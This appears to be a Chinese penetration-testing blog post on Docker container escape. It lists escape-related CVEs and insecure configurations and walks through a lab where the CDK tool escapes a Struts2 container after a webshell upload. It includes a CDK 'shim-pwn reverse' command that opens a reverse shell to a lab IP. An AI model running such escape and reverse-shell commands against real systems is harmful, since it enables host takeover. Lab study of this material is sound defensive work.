云安全-云原生基于容器漏洞的逃逸自动化手法（CDK check）

0x00 docker逃逸的方法种类

1、不安全的配置：
容器危险挂载（挂载procfs，Scoket） 特权模式启动的提权（privileged）
2、docker容器自身的漏洞
3、linux系统内核漏洞

这里参考Twiki的云安全博客，下列为逃逸的种类与漏洞

https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
1

1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257 containerd逃逸
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492
#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe

#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

0x01 runC逃逸&&containerd逃逸

上述的两种逃逸类型为docker的漏洞，分别是

CVE-2019-5736 runC容器逃逸
CVE-2020-15257 containerd逃逸
1
2

关于docker，runC的关系

Containerd：从容器编排角度，Containerd 是容器运行时。
RunC：RunC 是容器运行工具，纯从系统角度，Runc才是底层运行时 。
Docker：一般指的是 docker-shim，其也是一种容器运行时。

CVE-2019-5736 runC容器逃逸是基于一下两个条件：

Docker version <= 18.09.2
RunC version <= 1.0-rc6
1
2

满足下列的版本时候，可以尝试该docker漏洞逃逸提权，详细的实验过程这里不作赘述，相关的操作网上也有大量的文章，但是实际的环境去逃逸，还是就事论事，会有许多的其他情况发生。

CVE-2020-15257 containerd逃逸需要满足的条件为：

containerd < 1.4.3
containerd < 1.3.9
docker存在的漏洞版本：19.03.6~3-0
1
2
3

0x02 自动化检测工具CDK&&check

上面可以看到逃逸的种类的以及其中的方法很多，但是实际环境中，是时间紧任务重，一步步的尝试逃逸难免有些费事，这里列举两种工具，CDK和check，集成了自动逃逸方法检测，CDK还集成了对应的poc实现一键逃逸，
CDK三种使用场景：

Evaluate: 容器内部信息收集，以发现潜在的弱点便于后续利用。 Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

CDK的自动化逃逸中包含了挂载，特权等许多的自动化利用，

通过特权模式启动一台漏洞环境，使用CDK检测并且自动化逃逸：
dvwa环境cdk自动化失败：

拉取st2漏洞环境：

docker run --net=host  -it -p 8888:8080 vulhub/struts2:s2-053
1

获取当前根目录后将木马上传到指定位置，连接格拉斯后上出纳CDK执行命令


执行cdk

逃逸成功

反弹shell：

./cdk_linux_amd64 run shim-pwn reverse 192.168.196.129 1111
反弹失败，暂未找到原因
1
2

check工具的检测：
直接上传执行即可，检测可能存在的逃逸提权漏洞